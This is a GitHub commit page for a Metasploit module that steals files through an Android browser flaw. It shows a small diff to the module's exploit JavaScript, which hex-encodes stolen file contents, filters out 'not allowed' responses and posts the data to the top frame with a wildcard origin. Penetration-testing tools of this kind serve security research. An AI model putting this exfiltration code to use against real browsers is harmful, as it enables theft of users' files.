Skip to content

Commit 3fb4fbe

Browse files
committed
Add 'not allowed' check instead of magic check.
1 parent 7db3277 commit 3fb4fbe

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/auxiliary/gather/android_browser_file_theft.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -142,7 +142,8 @@ def exploit_js
142142
var c = d.toString(16);
143143
return (c.length < 2) ? 0+c : c;
144144
}).join(new String);
145-
if (hex.length && hex.substring(0,8)==='53514c69') {
145+
/*ensures there are no 'not allowed' responses that appear to be valid data*/
146+
if (hex.length && hex.indexOf('3c68746d6c3e3c626f64793e6e6f7420616c6c6f7765643c2f626f64793e3c2f68746d6c3e') == '-1') {
146147
top.postMessage({data:hex,url:location.href}, '*');
147148
}
148149
parent.postMessage(1,'*');

0 commit comments

Comments
 (0)